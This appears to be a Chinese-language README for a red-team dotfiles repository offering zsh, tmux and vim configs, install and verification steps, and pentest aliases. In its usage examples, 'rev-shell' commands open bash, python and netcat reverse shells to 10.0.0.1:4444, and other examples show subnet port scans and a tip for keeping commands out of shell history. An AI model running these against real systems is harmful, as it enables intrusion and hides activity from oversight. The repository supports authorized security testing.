Maleick/dotfiles
GitHub: Maleick/dotfiles
专为授权红队行动设计的便携式 zsh、tmux 和 vim 配置集,提供渗透测试专用别名、OPSEC 感知功能和终端工作流优化。
Stars: 6 | Forks: 1
# 红队 Dotfiles
[](assets/dotfiles-banner.svg)
[](VERSION)
[](https://dotfiles.teamoperator.red)
[](zsh/.zshrc)
[](tmux/.tmux.conf)
[](vim/.vimrc)
**操作员野战装备** 适用于 **zsh**、**tmux** 和 **vim**,专为授权红队行动定制。便携式 shell 人体工程学、OPSEC 感知默认值、tmux 工作流快捷键,以及无需额外运行时依赖的终端优先 Vim 行为。
[文档](https://dotfiles.teamoperator.red) • [维基](https://github.com/Maleick/dotfiles/wiki) • [安装](#-installation) • [验证](#validation-wrapper)
## ✨ 功能特性
- 🔴 **红队专用**:渗透测试别名和函数
- 🎯 **终端无关**:现代终端中一致的提示符和行为
- 🌐 **网络工具**:IPv4/IPv6 IP 检测,支持服务冗余
- 🛡️ **OPSEC 感知**:以空格开头的命令不会被记录
- 🧰 **aliasr 集成**:zsh 和 tmux 键绑定中的 `a` 别名,用于 aliasr 渗透测试启动器
- 🧭 **终端感知运行时**:Shell 检测终端模拟器(iTerm2、Warp 等)并调整提示符/标题行为
- 🧪 **启动加固**:`zsh` 启动使用受保护的可选加载器和软失败辅助路径
- 🧱 **辅助回退**:核心辅助命令使用跨主机差异的受保护回退路径
- 🧾 **Tmux 历史捕获**:`Prefix + S` 将窗格历史保存到 `~/Logs`
- 📝 **Vim 启动回退**:即使可选插件工具不可用,Vim 也能干净启动
- ⚡ **快速简洁**:最小开销,最大功能
- 🔧 **跨平台**:支持 macOS、Linux 和 WSL2
## 🚀 安装
### 前置条件
- [Zsh](https://www.zsh.org/) - Shell
- [Tmux](https://github.com/tmux/tmux/wiki) - 终端复用器
- [Vim](https://www.vim.org/) - 文本编辑器
### 快速安装
```
# 克隆仓库
git clone https://github.com/Maleick/dotfiles.git /opt/dotfiles
cd /opt/dotfiles
# 运行安装脚本
./install.sh
```
### 功能说明
1. 创建现有 dotfiles 备份
2. 符号链接 zsh、tmux 和 vim 配置
3. 设置红队别名和函数
### 验证安装
```
# 重启 shell 或运行
source ~/.zshrc
# 查看可用命令
/help
```
### 基线验证
使用阶段 1 检查清单进行可重复的安装程序和运行时基线检查:
- `.planning/phases/01-installation-baseline/01-VERIFICATION-CHECKLIST.md`
检查清单包含语法检查、tmux/vim 启动完整性、安装程序重新运行验证和预期符号链接目标。
### Shell 可靠性验证
进行 shell 相关更改后,从仓库根目录运行以下检查:
```
zsh -n zsh/.zshrc
TERM_PROGRAM=WarpTerminal ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'echo "${WARP_TERMINAL:-0}"'
TERM_PROGRAM=Apple_Terminal ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'echo "${WARP_TERMINAL:-0}"'
ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'base64decode dGVzdA=='
ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'localip >/dev/null && netinfo >/dev/null'
```
预期行为:
- Warp shell 检查打印 `1`;非 Warp 打印 `0`。
- `base64decode dGVzdA==` 在 macOS 和 Linux 上打印 `test`。
- `myip*`、`localip` 和 `netinfo` 在失败前使用受保护的回退路径。
- `webserver`、`http-server`、`https-server` 和 `quickscan` 在缺少依赖时返回可操作的错误。
### 文档和发布验证检查清单
在可靠性或文档/发布更新后运行此检查清单,以验证端到端一致性:
```
# 1) 安装/符号链接基线
./install.sh
ls -l ~/.zshrc ~/.tmux.conf ~/.vimrc
# 2) Shell 检查
zsh -n zsh/.zshrc
TERM_PROGRAM=WarpTerminal ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'echo "${WARP_TERMINAL:-0}"'
TERM_PROGRAM=Apple_Terminal ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'echo "${WARP_TERMINAL:-0}"'
ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'base64decode dGVzdA=='
# 3) Tmux 检查
tmux -f /opt/dotfiles/tmux/.tmux.conf -L gsd-docs-check start-server \; kill-server
rg -n '^bind (S|U|K|s) ' tmux/.tmux.conf
rg -n 'Logs|choose-tree|aliasr' tmux/.tmux.conf
# 4) Vim 检查
vim -Nu /opt/dotfiles/vim/.vimrc -n -es -c 'qa!'
TMP_HOME="$(mktemp -d)" && HOME="$TMP_HOME" vim -Nu /opt/dotfiles/vim/.vimrc -n -es -c 'qa!' && rm -rf "$TMP_HOME"
rg -n "catppuccin_mocha|dracula|molokai|plug#begin|coc#refresh" vim/.vimrc
# 5) 文档/发布完整性检查
VER="$(cat VERSION)"
rg -n "^## \\[$VER\\]" CHANGELOG.md
rg -n "version-" README.md
```
预期结果:
- 所有命令成功退出。
- 文档中的运行时契约声明映射到当前源文件。
- `VERSION` 和最新变更日志发布标题保持一致。
### 验证包装器(阶段 7 模式)
运行仓库根目录的验证包装器:
```
./scripts/verify-suite.sh
```
包装器契约:
- 从仓库根目录非交互式运行(只读验证;不运行 `install.sh`)。
- 默认模式(无标志)打印确定性每项检查状态:`PASS`、`FAIL`、`SKIP`。
- 默认模式打印带有 PASS/FAIL/SKIP 计数的确定性摘要行。
- 仅当必需检查通过时退出 `0`;任何必需检查失败时退出非零。
- Tmux 使用内置历史捕获和 `choose-tree` 会话切换。
附加模式:
```
# 快速模式:锁定的最小必需检查子集 + 明确的快速跳过
./scripts/verify-suite.sh --quick
# 机器可读模式(JSON 负载)
./scripts/verify-suite.sh --json
# 组合模式:快速选择 + JSON 输出
./scripts/verify-suite.sh --quick --json
```
模式行为说明:
- `--quick` 保留必需的失败语义,并将仅完整必需的检查显示为明确的快速模式 `SKIP` 条目。
- `--json` 发出确定性每项检查记录加上确定性摘要计数。
- `--quick --json` 使用快速模式检查选择和 JSON 输出。
- 为现有无标志用法保留向后兼容性。
### 兼容性矩阵(阶段 6 覆盖)
兼容性指南在以下位置跟踪:
- `.planning/compatibility/v1.1-matrix.md`
自动化行更新流程(阶段 8):
```
# 从当前主机捕获观察到的证据
./scripts/verify-suite.sh --json > /tmp/verify-evidence.json
# 更新现有矩阵密钥(环境配置文件 + 检查范围)
./scripts/update-compat-matrix.sh \
--evidence /tmp/verify-evidence.json \
--env-profile "macOS (Darwin arm64, current host)" \
--check-scope "install/shell/tmux/vim/docs parity" \
--caveat "host-specific: observed wrapper JSON run from current host" \
--command-ref "./scripts/verify-suite.sh --json" \
--date 2026-02-25
```
自动化行为:
- 仅使用观察到的包装器证据(`./scripts/verify-suite.sh --json` 负载)。
- 使用矩阵行标识键 `Environment Profile` + `Check Scope`。
- 就地更新现有键行;确定性插入新键行。
- 对格式错误的证据输入或格式错误的矩阵架构快速失败。
- 保留状态词汇约束(`PASS` / `SKIP` / `FAIL`)和必需字段:
- `Environment Profile`
- `Check Scope`
- `Status`
- `Caveat`
- `Command Set Reference`
- `Last Validated`
使用方法:
- 将矩阵行视为观察到的命令运行结果,而非推断的平台声明。
- 状态解读:
- `PASS`:观察到的运行在列出的范围/环境下成功。
- `FAIL`:观察到的运行在列出的范围/环境下失败。
- `SKIP`:在该环境/会话中未观察到;依赖前阅读注意事项。
- 使用 `Command Set Reference` 加上 `Last Validated` 确认证据来源和时效性。
当验证/运行时/文档行为变更时,在里程碑关闭前刷新矩阵行,以使矩阵预期与当前契约保持一致。
### 本地覆盖(可选)
对于特定机器或敏感配置(API 密钥、本地路径、安装程序添加的 PATH 等),创建 `~/.zshrc.local`:
```
# 创建本地覆盖文件
cat > ~/.zshrc.local << 'EOF'
# 特定机器配置
export MY_API_KEY="your-secret-key"
# 安装程序添加工具路径(bun、LM Studio 等)
export BUN_INSTALL="$HOME/.bun"
export PATH="$BUN_INSTALL/bin:$PATH"
EOF
chmod 600 ~/.zshrc.local
```
**重要**:当包安装程序向 `~/.zshrc` 追加行时,将其移至 `~/.zshrc.local`——这使 git 跟踪的 dotfile 在各机器间可移植。`.zshrc.local` 自动获取源且不同步到仓库。
## 💻 使用示例
### 网络侦察
```
# 外部 IP 检测(IPv4/IPv6)
myip # External IPv4 address (force IPv4)
myip6 # External IPv6 address
myip-alt # Alternative service (ipinfo.io)
myip-check # Backup service (icanhazip.com)
get_external_ip # Store IP in $EXTERNAL_IP variable
localip # Local IP address
netinfo # Complete network information
# 端口扫描
quickscan 192.168.1.0/24 # Fast subnet scan
nmap-top-ports 192.168.1.1 # Scan top 1000 ports
```
### Web 服务器和工具
```
webserver # HTTP server on port 8080
https-server # HTTPS server (needs cert.pem/key.pem)
```
### 编码/解码
```
base64encode "test data" # dGVzdCBkYXRh
base64decode "dGVzdCBkYXRh" # test data
urlencode "hello world" # hello%2Bworld
rot13 # ROT13 cipher
```
### 反向 Shell
```
rev-shell bash 10.0.0.1 4444 # Bash reverse shell
rev-shell python 10.0.0.1 4444 # Python reverse shell
rev-shell nc 10.0.0.1 4444 # Netcat reverse shell
```
### Tmux 功能
```
tmux # Start tmux session
# Prefix + S # 保存面板历史记录
# Prefix + U / K # 在分割窗格中打开 aliasr(仅发送 / 发送+执行)
```
### aliasr 启动器
```
a # Open aliasr TUI for red-team commands (requires aliasr installed)
```
## 🔒 OPSEC 注意事项
- **以空格开头的命令不会被记录** - 使用 ` command` 进行敏感操作
- **仅在授权系统上使用** - 遵守适用法律和法规
- **自动创建备份** - 安装脚本会备份现有配置
## 🔄 更新
```
# 更新到最新版本
cd /opt/dotfiles
git pull
# 检查当前版本
cat VERSION
```
## 📝 可用命令
```
# 查看所有可用的红队命令
/help
```
**注意**:本项目仅用于教育和授权安全测试。请负责任地使用并遵守所有适用法律。
🔴 **红队快乐!** 🔴
标签:dotfiles, OPSEC, Pentest, Red Team, Shell配置, tmux, vim, zsh, 人体工程学, 便携工具, 启动加固, 快捷键, 数据展示, 日志捕获, 红队, 终端, 网络工具